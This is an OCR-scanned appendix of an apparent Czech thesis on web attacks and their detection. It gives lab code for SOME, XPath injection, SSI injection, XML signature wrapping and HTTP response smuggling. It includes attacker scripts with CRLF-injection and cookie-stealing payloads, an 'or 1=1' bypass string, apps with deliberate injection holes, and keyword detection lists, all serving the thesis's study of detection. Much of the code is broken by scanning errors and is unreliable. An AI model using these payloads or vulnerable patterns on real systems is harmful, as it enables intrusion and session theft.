config.vm.provider :1libvirt do |[libvirt|
libvirt.default_prefix = ""
libvirt.management network_address = "192.168.10.0/24"
libvirt.management_network_name = "vagrant-network"

libvirt.management_network_mac = "52:54:00:ea:aa:0c"
end
config.vm.synced_folder ".", "/vagrant", type: "rsync",
rsync__exclude: ".git/", rsync__auto: true

config.vm.provision "shell", inline: $script

end
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B SOME

B.1 Server

B.1.1 index.html

<!doctype html>

<html>

<title>Some example</title>
<body>

<h2>Button alert</h2>
<button type="button" onclick="alert(’Button was clicked!’)">
Click Me!</button>

<script>

function displayAlert() {
var s = document.createElement("script");
s.src = "call.php?callback=myDisplayFunction";
document .body.appendChild(s) ;

function myDisplayFunction(myObj) {
alert("Display Function");

</script>

</body>
</html>

B.1.2 call.php

<?php
$callback=htmlspecialchars($_GET[’callback’]);
$ip = getenv(’REMOTE_ADDR’);

shell exec("./detect.py " . $callback . " " . $ip );
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echo ’<script>’.$callback.’();’.’</script>’;
2>

B.1.3 detect.py

#!/usr/bin/env python3

from time import gmtime, strftime

import sys
def attack detection(callback_name: str, ip):

allowed_callbacks = [’myDisplayFunction’, ’None’]

if all(map(lambda x: x not in callback_name,
allowed_callbacks)):
log(ip, callback_name)

def log(ip, name):
time = strftime("%d %b %Y %H:%M:%S ", gmtime())
filename = ’log.txt’
entry = str(time + "[SOME] attack detected from IP

address: " + ip + ", callback function: " + name)
with open(filename, ’a’) as out:

out.write(entry + ’\n’)

out.close()

attack_detection(sys.argv[l], sys.argv[2])

B.2 Utoénik

B.2.1 index.html

<html>
<head>
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<title>Sample "Hello, World" Application</title>
</head>
<body bgcolor=white>

<h5>Hello, World</hi>

<script>
function myFunction() {
var Win = window.open("/winl.html","Winl");
window.location = "http://server-site.com/index.html";
}
myFunction()
document.body.addEventListener("click",startSOME) ;
</script>
</body>
</html>

B.2.2 winl.html

<!DOCTYPE html>
<html>
<body>

<script>
function myFunction2() {
setTimeout (function() {
location.replace(’http://server-site.com/call.php?
&callback=window.opener.document.body.firstElementChild.
nextElementSibling.click’)},3000);
// location.replace(’http://server-site.com/call.php?€callback=
// window. opener.myDisplayFunction’)},3000);
}
myFunction2() ;
</script>
</body>
</html>
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C XPATH INJECTION

C.1 login.html

<!doctype html>
<title>Login page</title>
<h2>8ign in</h2>

<form method="post">
<p><input type="text" name="login" value=""

placeholder="Username"></p>

=n

<I--<p><input type="password" mname="password" value=""

placeholder="Password"></p>-->
<p><input type="text" name="password" value=""
placeholder="Password"></p>
<p class="submit"><input type="submit" name="commit"
value="Login"></p>
</form>

C.2 webapp.wsgi

import sys
sys.path.append(’/var/www/web_xpath’)

from webapp import app as application

C.3 webapp.py

#!/usr/bin/env python3
# —-*x— coding: utf-8 —*-

from flask import Flask

from flask import render_template
from flask import request

import userdb as Lx

import detect
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app = Flask(__name_ )

Qapp.route(’/login/’)
def login_form():
return render_template(’login.html’)

Qapp.route(’/login/’, methods=[’P0OST’])
def login():

print("request.form: ")
print(request.form)

log = request.form[’login’]
password = request.form[’password’]
print(’login: ’ + log)

print(’password: ’ + password)

environment = request.environ
detect.attack_detection(log, password, environment)
user_id = Lx.authenticate_user(log, password)
if user_id:

return "prihlaSeno, uzivatel id: " + user_id
else:

return "zamitnuto"

C.4 wuserdb.py

from 1xml import etree

def get_xml database(database):
file = database
tree = etree.parse(file)

root = tree.getroot()

return root
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def authenticate_user(user, passwd, database=’data.xml’):

if

root = get_xml_database(database)
path = "string(//user[username/text()=’" + user + "’
and password/text()=’" + passwd + "’]/id/text())"
print (path)
try:
result = root.xpath(path)
except:
print("V userdb nastala chyba.")

result = ""

print(result)

return result

__name__ ==’ main__’:

file = ’data.xml’

tree = etree.parse(file)

root = tree.getroot()

user = ’Alice’

passwd = ’password’

userXPath = "//user[username/text()="" + user + "’]"
passXPath = "//user[password/text()="" + passwd + "’]"

us = root.xpath(userXPath)
pas = root.xpath(passXPath)

print(root.xpath(userXPath) [0] [1] . text)

build text list = etree.XPath("//text(")

print(build_text_list(root))

path = "string(//user[username/text()=’Alice’ and
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password/text ()=’football’]/id/text())"
path = "string(//user[(username/text()="Chris’) and
(password/text()="’ or 1=1 or ’’=’’)]/id/text())"

print (path)
print (root.xpath(path))

C.5 detect.py

import userdb as Lx
from time import gmtime, strftime
def attack_detection(login: str, passwd, env):

list_expressions = ["’or’", " or", "or ", " or ", "’and’",

n andll s n and n s n and n R nry—=orn s n = n , n =n , "= |I]

if any(map(lambda x: x in login, list_expressions)):

log("1", login, passwd, env)

id_real_db
id_fake_db

Lx.authenticate_user(login, passwd)

Lx.authenticate_user(login, passwd, ’data_check.xml’)

if id_fake db == id_real db:
if id real db != "":
log("2", login, passwd, env)

def log(tag, login, passwd, env):
ip = env[’REMOTE_ADDR’]
time = strftime("%d %b %Y %H:%M:%S ", gmtime())
filename = ’log.txt’
entry = str(time + "[XPath][" + tag + "] injection detected
from IP address: " + ip + ", username: "

+ login + ", password: " + passwd)

with open(filename, ’a’) as out:
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out.write(entry + ’\n’)

out.close()

C.6 data.xml

<?zml wversion="1.0" encoding="UTF-8"?2>
<users>
<user>
<id>1</id>
<username>Alice</username>
<password>password</password>
</user>
<user>
<id>2</id>
<username>Bob</username>
<password>football</password>
</user>
<user>
<id>3</id>
<username>Chris</username>
<password>qwerty</password>
</user>
<user>
<id>4</id>
<username>David</username>
<password>princess</password>
</user>
<user>
<id>5</id>
<username>Emily</username>
<password>welcome</password>
</user>

</users>

C.7 data_ check.xml

<?zml wversion="1.0" encoding="UTF-8"2>

<users>
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<user>
<id>1</id>
<username>Alice</username>
<password>pass</password>
</user>
<user>
<id>2</id>
<username>Bob</username>
<password>pass</password>
</user>
<user>
<id>3</id>
<username>Chris</username>
<password>pass</password>
</user>
<user>
<id>4</id>
<username>David</username>
<password>pass</password>
</user>
<user>
<id>5</id>
<username>Emily</username>
<password>pass</password>
</user>

</users>
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D SSI INJECTION

D.1 form.html

<!doctype html>
<title>Search page</title>
<h2>Search</h2>

<form action = "/cgi-bin/app.py" method = "post">
<input type = "text" name = "search" value=""
placeholder="Insert your query here"><br />
<input type = "submit" value = "Submit" />
</form>

D.2 app.py

#!/usr/bin/env python3

# —-*— coding: UTF-8 —-*-# enable debugging
# Import modules for CGI handling

import cgi, cgitb

from time import gmtime, strftime

import os

import requests
def attack_detection(query: str):
list_expressions = ["<!-="  "-=>"_ '<gcript>", "<pre>"]

if any(map(lambda x: x in query, list_expressions)):

log("1", query)

with open(’../test.html’, ’w’) as f:
f.write("<!doctype html>" + "\n")
f.write("<br>" + "\n")
f.write("Search result: Ys" 7, query)
f.close()

search_line = "Search result: %s" % query
r = requests.get(’http://127.0.10.1/test . html’)
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r.raise for_ status()
if all(map(lambda line: search_line not in line,
r.text.split(’\n’))):
log("2", query)

def log(tag, query):
ip = cgi.escape(os.environ["REMOTE_ADDR"])
time = strftime("%d %b %Y %H:%M:%S ", gmtime())

filename = ’../log.txt’
entry = str(time + "[SSI][" + tag + "] injection detected
from IP address: " + ip + ", query: "
+ query)

with open(filename, ’a’) as out:
out.write(entry + ’\n’)

out.close()

# Create instance of FieldStorage

form = cgi.FieldStorage()

# Get data from fields

search_value = form.getvalue(’search’)
print("Content-Type: text/html;charset=utf-8")
print ()

attack_detection(search value)
#print ("Content-Type: texzt/html;charset=utf-8")

#print ()

print("Search result: %s" 7 search_value)
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E XML SIGNATURE WRAPPING ATTACK

E.1 Server

E.1.1 webapp.wsgi

import sys
sys.path.append(’/var/www/web_xmlsig’)

from flask_app import app as application

E.1.2 flask app.py

from flask import Flask
from flask import request
from 1xml import etree
from flask import Response
import signature

import detect

app = Flask(__name__)

def get_xml_data(data):

tree = etree.parse(data)

root = tree.getroot()

return root

def process_xml_elements(root):
ns = {"soap-env": "http://schemas.xmlsoap.org/soap/envelope/"}
elements_role_none = root.xpath
("//*[@soap-env:role="http://www.w3.0rg/2003/05/soap-envelope/none’]",
namespaces=ns)

elements_query = root.xpath("//bstrParaml")

if len(elements role none) ==
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fruit = root.xpath("//bstrParaml/text()") [0]
return fruit
else:
fruit = None
for element in elements role none:
for query in elements_query:

el = element.xpath("//" + element.tag + "//" + query.tag) [0]
if el is not query:

fruit = query.text

return fruit

def create_response(fruit):

# get data from database
root_db = get_xml _data(’data.xml’)
try:
quantity = root_db.xpath
("//item[name/text ()=’" + fruit + "’]/quantity/text()") [0]
except IndexError:

quantity = "Err: No such fruit in database."

env = get_xml_data(’xml_s.xml’)

resp = env.xpath("//bstrReturn")
if resp:
resp[0] .text = quantity
etree.ElementTree(env) .write(’xml_s.xml’, pretty_print=True,
xml_declaration=True, encoding=’UTF-8’)

sign_response()

with open(’resp_sec_sig.xml’, ’r’) as f:

response = f.read()

return response

def verify request_signature(req_root):
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sig_object = signature.MemorySignature(key_data=’Client_public.key’,
cert_data=’Client.pem’)

sig_object.verify(req_root)

def sign response():

resp_root = get_xml data(’xml s.xml’)

sig_object = signature.Signature(’Server.key’, ’Server.pem’)

header = {’S0APAction’: ’"http://192.168.10.10:8083/item"’,
’Content-Type’: ’text/xml; charset=utf-8’}

envelope, http_headers = signature.MemorySignature(sig object.key_data,
sig_object.cert_data) .apply(resp_root, header)

etree.ElementTree(envelope) .write(’resp_sec_sig.xml’, pretty_print=True,

xml_declaration=True, encoding=’UTF-8’)

Qapp.route(’/item’, methods=[’GET’])
def comm():
with open(’response.xml’, ’r’) as f:
response = f.read()
return Response(response, mimetype=’text/xml’, status=200)
Qapp.route(’/item’, methods=[’POST’])

def get_quantity():

req = request.data

req_root = etree.fromstring(req)

ip = request.environ[’REMOTE_ADDR’]

detect.count_identical elements(req, ip)

verify_request_signature(req_root)

fruit = process_xml elements(req_root)
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response = create_response(fruit)

return Response(response, mimetype=’text/xml’, status=200)

E.1.3 detect.py

from time import gmtime, strftime
from 1xml import etree
import io

import re

def get namespace(element):
m = re.match(C’\{.*\}(.*)’, element.tag)

return m.group(1l) if element.tag.startswith(’{’) else element.tag

def count_identical_elements(root, ip):
tags = list()

def fast_iter(context, func, *args, **kwargs):
nmnn
fast_iter 1s useful if you need to free memory while
1terating through a

very large XML file.

http://lzml.de/parsing. html#modifying-the-tree
Based on Liza Daly’s fast_iter
http://www. tbm. com/developerworks/zml/library/z-hiperfparse/
See also http://effbot.org/zone/element-iterparse.htm
nnn
for event, elem in context:
func(elem, *args, **kwargs)
# It’s safe to call clear() here because no descendants will be
# accessed
elem.clear ()

# Also eliminate now-empty references from the root node
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def

# to elem
for ancestor in elem.xpath(’ancestor-or-self::*’):
while ancestor.getprevious() is not None:
del ancestor.getparent() [0]

del context

def process_element(elt):
m = get_namespace(elt)

tags.append (m)

context = etree.iterparse(io.BytesIO(root), events=(’end’,))

fast_iter(context, process_element)

allowed_duplicates = [’Transform’, ’Transforms’, ’DigestMethod’,
’DigestValue’, ’Reference’]
for tag in tags:
if any(map(lambda x: x in tag, allowed_duplicates)):
continue
list_of_elements = etree.fromstring(root) .xpath
("//x[local-name() = ’" + tag + "’1")
if len(list_of elements) > 1:

log(ip, tag)

log(ip, name):

time = strftime("%d %b %Y %H:%M:%S ", gmtime())

filename = ’log.txt’

entry = str(time + "[XML signature wrapping] attack detected

from IP address: " + ip + ", element name: " + name)

with open(filename, ’a’) as out:
out.write(entry + ’\n’)

out.close()

E.1.4 data.xml

<?zml wversion="1.0" encoding="UTF-8"?>

<Fruits>
<item>
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<id>1</id>
<name>Apple</name>
<quantity>37</quantity>
</item>
<item>
<id>2</id>
<name>Blueberry</name>
<quantity>128</quantity>
</item>
<item>
<id>3</id>
<name>Cherry</name>
<quantity>93</quantity>
</item>
</Fruits>

E.1.5 response.xml

<?zml wersion=’1.0’ encoding=’UTF-8’ 2>
<definitions name =’SoapResponder’ targetNamespace =
*http://192.168.10.10:8083/item’
xmlns:tns="http://192.168.10.10:8083/item’
xmlns:xsdl="http://192.168.10.10:8083/item’
xmlns:xsd="http://www.w3.org/2001/XMLSchema’
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/’
xmlns="http://schemas.xmlsoap.org/wsdl/’>
<types>
<schema targetNamespace="http://192.168.10.10:8083/item’
xmlns="http://www.w3.0rg/1999/XMLSchema’>
</schema>
</types>
<message name=’get_quantity’>
<part name=’bstrParaml’ type=’xsd:string’/>
</message>
<message name=’get_quantity_response’>
<part name=’bstrReturn’ type=’xsd:string’/>
</message>

<portType name=’SoapResponderPortType’>
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<operation name=’get_quantity’
parameterUrder=’bstrparaml return’>
<input message=’tns:get_quantity’ />
<output message=’tns:get_quantity_response’ />
</operation>
</portType>
<binding name=’SoapResponderBinding’
type=’tns:SoapResponderPortType’ >
<soap:binding style=’rpc’
transport="http://schemas.xmlsoap.org/soap/http’ />
<operation name=’get_quantity’ >
<soap:operation soapAction=
‘http://192.168.10.10:8083/item’ />
<input>
<soap:body use=’encoded’ namespace=’http://192.168.10.10:8083/item’
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/’ />
</input>
<output>
<soap:body use=’encoded’ namespace=’http://192.168.10.10:8083/item’
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/’ />
</output>
</operation>
</binding>
<service name=’SoapResponder’ >
<documentation>A SOAP service that echoes the quantity
of certain fruit.</documentation>
<port name=’SoapResponderPortType’
binding=’tns:SoapResponderBinding’ >
<soap:address location="http://192.168.10.10:8083/item’ />
</port>

</service>

</definitions>

E.1.6 xml s.xml

<?zml wversion=’1.0’ encoding=’UTF-8’2>

<soap-env:Envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/">

<soap-env:Header>

<wsse:Security xmlns:wsse=
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"http://docs.oasis-open.org/wss/2004/01/
0oasis-200401-wss-wssecurity-secext-1.0.xsd" mustUnderstand="true">
</wsse:Security>
</soap-env:Header>
<soap-env:Body> xmlns:nsO="http://docs.oasis-open.org/
wss/2004/01/0asis-200401-wss-wssecurity-utility-1.0.xsd" &gt;
<ns0:get_quantity_response
xmlns:nsO="http://192.168.10.10:8083/item">
<bstrReturn type="xsd:string">93</bstrReturn>
</nsO:get_quantity_response>
</soap-env:Body>

</soap-env:Envelope>

E.2 Uzivatel

E.2.1 client.py

#!/usr/bin/env python3

from zeep import Client

from zeep.wsse.signature import Signature
url = ’http://192.168.10.10:8083/item’

client = Client(url,

Signature(’Client.key’, ’Client.pem’))

fruit = "Blueberry"

print("Quantity of " + fruit + ": " + client.service.get_quantity(fruit))

E.3 TUtoénik

E.3.1 attack.py

#1/usr/bin/env python3

import requests

from 1xml import etree
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with open(’request_changed.xml’, ’r’) as f:

response = f.read()
url = ’http://192.168.10.10:8083/item’
headers = {’Content-Type’: ’application/xml’}

s = requests.Session()

response = s.post(url, data=response, headers=headers)

root = etree.fromstring(response.content)
quantity = root.xpath("//bstrReturn/text()") [0]

print (quantity)

E.3.2 request_ changed.xml

<?xml wversion=’1.0’ encoding=’utf-8’2>
<soap-env:Envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/">
<soap-env:Header><wsse:Security xmlns:wsse="http://docs.oasis-open.org/
wss/2004/01/0asis-200401-wss-wssecurity-secext-1.0.xsd">
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.0rg/2001/10/xml-exc-c14n#"/>
<SignatureMethod Algorithm="http://www.w3.o0rg/2000/09/xmldsig#rsa-shal"/>
<Reference URI="#id-570d493c-3726-4d68-b767-ab61e7f8abf5">
<Transforms>
<Transform Algorithm="http://www.w3.o0rg/2001/10/xml-exc-c14n#"/>
</Transforms>
<DigestMethod Algorithm="http://www.w3.0rg/2000/09/xmldsig#shal"/>
<DigestValue>wxvekW3kU+QhZ009uFxZDgW9zRg=</DigestValue>
</Reference>
<Reference URI="#id-5c721219-1baf-4184-b292-7e5d8ef5b073">
<Transforms>
<Transform Algorithm="http://www.w3.o0org/2001/10/xml-exc-cl4n#"/>
</Transforms>
<DigestMethod Algorithm="http://www.w3.0rg/2000/09/xmldsig#shal"/>
<DigestValue>JBRv2NW3Q7Cdu+YG2uQ9zaOmlbk=</DigestValue>
</Reference>
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</SignedInfo>
<SignatureValue>bILzftMpOxHBcdfHqd(PplUXkb7d0wgbtIyzH2N16AWbrpuw
nPZmNYeS8czUL2FhahfGhzwqyBx20a7tXQItyXC2RWT/VROitzYAcwUyJOnT1PCH
/RkLotPAEzfFStz6/kyQZiCk11An6A0rqlwzQ95XRbkZD1D0fDwr1TP16SHQIhzQ
Qkzcey8ywX8zGgYbM2jEMtOMSAFT6ZNoBZdcG3912YhbanwAbUKhU200z8twd94c
A0jxUsGLQDH89MgKtopREbZAQQ1qDgG/ErK4pPXpCZiQG042c3nGgRhXDGWI3qgh
nYkmdmGLOzS18HinlbPqntgPn+UH4sGVeUAmHmzHa3qiLTU4foCHFACOV jzzgPM1
WGMCNFGEMr691A9v2RSS0AN2 jadXfW+mbbgY4TvbZzo1pv2INzAgRUh2ES040/0U
CvrG13cM7bomKE2QtCBngiPbX3UhCTiEYnGtOkUdxXbcGByxdGG1Q4ZEeSuzKfDe
xNJd2S4hhEvbu3R2bMmh JKzSHLMBPWIx20PVZx+40Yb7YYH8fgPzLN6Z j4vQnwW9
vs94hQuilWdDa7edYkxn97nJ2qHcr9KNp4+HD8t JBKM5vTWhGQCW1dMcr6ROpOLg
9hBAjT2pNAJ18224XdHZOtFxFmI0dc562VxW5I j4gz/AUOWInoKuM5tMqCE=
</SignatureValue>
<KeyInfo>
<wsse:SecurityTokenReference><X509Data>
<Xb09IssuerSerial>
<X509IssuerName>CN=client,0=BUT,L=Brno,ST=Czech republic,C=CZ
</X509IssuerName>
<X509SerialNumber>18304974188027480150</X509SerialNumber>
</X509IssuerSerial>
<X509Certificate>
MIIFfjCCA2agAwIBAgI JAPAIVQpEEohWMAOGCSqGSIb3DOEBCwUAMFQxCzAJBgNV
BAYTAkNaMRcwFQYDVQQIDASDemV jaCByZXB1YmxpYzENMAsGA1UEBwwEQnJubzEM
MAoGA1UECgwDQ1VUMQ8wDQYDVQQDDAZ jbGl1bnQwHhcNMTgwNTA1MTc10TA4WhcN
MTgwNjAOMTc10TA4WjBUMQswCQYDVQQGEwJDW jEXMBUGA1UECAwWOQ3plY2ggcmVw
dWJsaWMxDTALBgNVBAcMBEJybm8xDDAKBgNVBAoMAOJVVDEPMAOGA1UEAwwWGY2xp
ZW50MIICI jANBgkghkiGOwOBAQEFAAOCAg8AMIICCgKCAgEAwyYulsVeqYn/V0OO+
ga/1FvIebrDb2UVE/dCyHR9 j+33FpuxAKSH10Uq353vOUh2i3B4Lveu31C5uEDNk
6WOm3qzVgjvbELuN2/L7ReEnpOuWSeQ4zI9PqxGeBn jDHTci06uZdVCFHNBSINSU
+4d3SACIY jS5moZKM/XPtQamMfsZ1DjYfNcfdZrTwBuQ4h3NrTelr52DF1GV6958
MP18NHfUJFDiYrY7aGyTyt jK1dgDgj1lvFwOP7h1MTGjbfDgwlyTx1x0j6coallTU
x32JxbgUSDuIGNBjaNgSqJMgHEBpfaoskKC2Bj1lkzzaA59QXT011iGt 1uQTQyQD2b9
Zvb/2tsrisROhzALCfrjs1Q5sBHpXCL1Sw0s16jPoQt je1k20bf0gj25F2BZdIYE
DTZCSXHfRhKnVh10+cOmNTc3LT85X0EG1LcpWOMn3pFDUqKx3qR5PcZ43WhKQegl
FatSYypc8W8EscVI/TZubHStp+3rzHsApb+LzSZNXnt0F8Z+nii4iNNJNb7df9xU
Xe4R+tgbk2yPeCVR1MaPttmkQzbcdgdUOy2JP79erDIJbLhmFr8rM8iI7MpyYsN1Z
cAcTpinSywtfWK5B5wbWHul/0G6JLXS4K5D j7£NaU2y9tzKViHEc260PzNt713gz
EHnOmQ1lmcza4/WqgkWgVxUImonsCAWEAAaNTMFEWHQYDVROOBBYEFDMrTBbmKo jw
R+EGpXBA8eel/bSTMB8GA1UdIwQYMBaAFDMrTBbmKo jwR+EGpXBA8eel/bSTMASG
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A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAIpTdNcBSBsYGAXPHZzu?2
/3gJgUZbgRmQI+XC1J4MxS0vgzbPOHQDQ0o87603QU/0H459NAY cWTxypKa3AqWR2
a4TTSxQdtDwMf6P1ounB+8xVJ1ThG1kPP3pWG6MheyNDpJLimFHGhd2nk4hsAPSp
nul0PXGdQyWRw/206hh0WGOr/1/Mwoggdb0481TeETYe6iZNR26WpzKwebf fdWWm
YTmUnmdRUGxVmvuN20wseKsEmYdf /3yW6SskqacgIn3IWn88NkFw11GrSE7DrHZu
XiKOpXMZW3Bwy 1hOpYNRk21Poz6E/r6dkq5VJI/Y3hI3x8h//shuQPxEuR6hsUET+
gGOuavomJE4QorzM1abKfRtZ2NaKgYqKtM1z3S6dt3EhQOv+y8xWQD13f1xju93d
yAdUovzZo3yVgbF1MtGhZn0TOxICGOr3EeB4VasLL121PrD8Evw2q0ZPcnlagdIM
jd95A/K50dtkEeczHOqgAVtDt5PmMvc3DqYcFIm26CrGEU9e704Gppbox1t9coGe
xPWNWOQr5ZtfHVMDPLPyU1gbYLEBI17T84TW3VOoWj8fr/8rUsMnvSEEfGbi/pYL
8ZPqdNW2TPgdOEbAlouGlKP2+t30x1iJSYWm3UepVe2ygYeyWfiw/cyTXWaqEdnNF
j16PwhAcG1lXs2ddP50mgzvt+</X509Certificate>
</X509Data>
</wsse:SecurityTokenReference></KeyInfo>
</Signature><ns0:Timestamp xmlns:nsO0="http://docs.oasis-open.org/
wss/2004/01/0asis-200401-wss-wssecurity-utility-1.0.xsd"
ns0:I1d="1d-5c721219-1baf-4184-b292-7e5d8ef5b073" />
</wsse:Security>
<Wrapper
soap—-env:mustUnderstand="0"
soap-env:role="http://www.w3.0rg/2003/05/soap-envelope/none">
<soap-env:Body xmlns:nsO="http://docs.oasis-open.org/wss/
2004/01/0asis-200401-wss-wssecurity-utility-1.0.xsd"
ns0:Id="1id-570d493c-3726-4d68-b767-ab61e7f8abf5">
<ns0O:get_quantity xmlns:nsO="http://192.168.10.10:8083/item">
<bstrParaml>Blueberry</bstrParam1></nsO:get_quantity>
</soap-env:Body>
</Wrapper>
</soap-env:Header>
<soap-env:Body xmlns:nsO="http://docs.oasis-open.org/wss/
2004/01/0asis-200401-wss-wssecurity-utility-1.0.xsd"
ns0:Id="1d-99999999-3726-4d68-b767-ab61e7f8abf5">
<ns0:get_quantity xmlns:nsO="http://192.168.10.10:8083/item">
<bstrParaml>Cherry</bstrParam1></ns0:get_quantity>
</soap-env:Body>

</soap-env:Envelope>
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F

HTTP RESPONSE SMUGGLING

F.1 Server

F.1.1 detect.py

#!/usr/bin/env python3

from time import gmtime, strftime

import sys

def

def

attack_detection(parameter_name: str, ip):

list_expressions = ["%20", "%0D", "%0d",
"Content-Length:", "HTTP/", "<html>", "<script>",

"Location:", "charset=", "Content-Type:", "Set-Cookie:"]

if any(map(lambda x: x in parameter name, list_expressions)):

log(ip, parameter_name)

log(ip, name):

time = strftime("%d %b %Y %H:%M:%S ", gmtime())
filename = ’log.txt’
entry = str(time + "[HTTP response smuggling] attack detected

from IP address: " + ip + ", URL parameter: " + name)

with open(filename, ’a’) as out:
out.write(entry + ’\n’)

out.close()

attack_detection(sys.argv[1], sys.argv[2])

F.1.2 page_with_parameter.php

<?php
$name = $_SERVER[’QUERY_STRING’];
$ip = getenv(’REMOTE_ADDR’);
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$url

= "redirected_page.html?" . $name ;

shell exec("./detect.py " . $name . " " . $ip );

header(’Location: ’ . $url);

exit;

2>

F.2 Utoénik

F.2.1 attack.py

import socket

ct
Il

socket.socket (socket .AF_INET, socket.SOCK_STREAM)
socket.socket (socket.AF_INET, socket.SOCK_STREAM)

server = "192.168.10.50"
port = 80

s.connect ((server, port))

t.connect ((server, port))

def

def

query (page) :

query_string = "GET /" + page + " HTTP/1.1\nHost: " +
server + "\n\n"

print(query_string)

return query_string

send_data(object, request):
object.send(request.encode())
result_s = object.recv(4096)
print (result_s.decode())

#send_data(r, query("page_with_parameter.php?name=foobars0D
TestHeader:HeaderValue),0DContent-Length:177/,0DSet-Cookie : PHP
SESSID=1234567890abcdef’,0D7%0DToto%20je%20muj%200bsah") )
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#send_data(r, query("page_with_parameter.php?name=2foobars0
dContent-Length:72007%,0dTestHeader: 1%,0d7,0dHTTP/1.0%20200%200
K/,0dTestHeader:270dContent-Type: %20text/html),0dContent-Leng
th:7%20197,0d%0d<html>Shazam</html>"))

#send_data(r, query("page_with_parameter.php?name=foobars0D
TestHeader :HeaderValue,0DContent-Length:0%0D},0DHTTP/1.0%202
00%200K%0D%0DTot0%20je%20muj%200bsah") )

#send_data(r, query("page_with_parameter.php?name=foobars0D
%,0DToto"))

#send_data(r, query("page_with_parameter.php?name=/,0D,0DHTT
P/1.1%20200%200K7,0D%0D%3Cscript/3Ealert’28document . domain2
9%3C/script/3E"))

# send_data(s, query("page_with_parameter.php?name=foobar/0
dContent-Length:%2007%0d70dHTTP/1.1%20200%200K,0dContent-Typ
e:7%20text/html’,0dContent-Length:7%2019%0d%0d<html>Shazam</ht
ml>"))

#send_data(s, query("page_with_parameter.php?name=?foobar/0
dContent-Length:72007,0dTestHeader : 3%,0d47,0dHTTP/ 1. 1%20200%200
K/,0dTestHeader:HeaderValue’,0dContent-Type:20text/html’,0dCo
ntent-Length:%2019%0d%0d<html>Shazam</html>"))

# send_data(r, query("page_with_parameter.php?name=foobars0
dContent-Length:7%2019%0d47,0d<html>Shazam</htm1>HTTP/1.1%2020
0%200K7,0dContent-Type:%20text/html’,0dContent-Length:7200%0d
%0d"))

# send_data(s, query("page_with_parameter.php?name=foobars0
dContent-Length:720070d%0dHTTP/1.1%20200%200K}0dContent-Typ
e:720text/html;’20charset=utf-770dContent-Length:’20190%0d7
0d+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert (’XSS, co
okies:’+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+A
Dw-/html+AD4-"))

# send_data(r, query(’page_with_parameter.php?name=foobars0
dContent-Length:%2007%0d7%0dHTTP/1.1%20200%200K,0dContent-Typ
e:%20text/html’0dContent-Length:%2019%0d%0d<script>document
.write("ahoj");</script>’))

#send_data(r, query("page_with_parameter.php?name=foobary20
%0dContent-Length:7%205%0dFoo: %20HTTP/1.1%20200%200K}%0dConte
nt-Length:7%20070d%Content-Type:%20text/html),0dLocation: %201
92.168.10.20/%0d%0d"))

send_data(r, query("page with_parameter.php?name=foobar?,0DH
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eader:Test’,0DContent-Length:1770D%0DHTTP/1.0%20200%200K}0DC
ontent-Type:720text/html"))
send_data(t, query("index.html"))
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G OBSAH PRILOZENEHO CD

Na prilozeném CD jsou k dispozici vsechny konfigurac¢ni soubory, zdrojové soubory

webovych aplikaci, detektorti, klientskych a ito¢nych skriptii. Déle jsou k dispozici

videa prezentujici jednotlivé ttoky. Soubory obsahujici virtualni systémy jsou pro

ulozeni na CD pftilis velké a budou poskytnuty na alternativnim médiu.
e e korenovy adresat prilozeného CD

|  Server

| Some

call.php

detect.py

index.html

| SSI

LA,Web

cgi-bin

taPP-PY
test.py
form.html
index.html
|  Xml_wrapping
Client.pem
Client_public.key
data.xml
detect.py
flask_app.py
response.xml
resp_sec_sig.xml
Server.crt
Server.key
Server.pem
signature.py
webapp.wsgi
xml_s.xml

| Xpath

templates
Lg,login.html
data_check.xml
data.xml
detect.py
userdb.py
webapp.py
webapp.wsgi

|  httpd.conf

| Vagrantfile

|  virtualhost.conf
| Utoénik
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| server
tindex.html
winl.html
| xml_signature_wrapping_attack
attack.py

request_changed.xml
request.xml

| http_response_smuggling
attack.py

| Uzivatel

LA,xml_signature_wrapping_attack

client.py

Client.key

Client.pem

Server.pem

| Videa
Xpath.flv
Ssi.flv
Some.flv
Http.flv
Xml.flv
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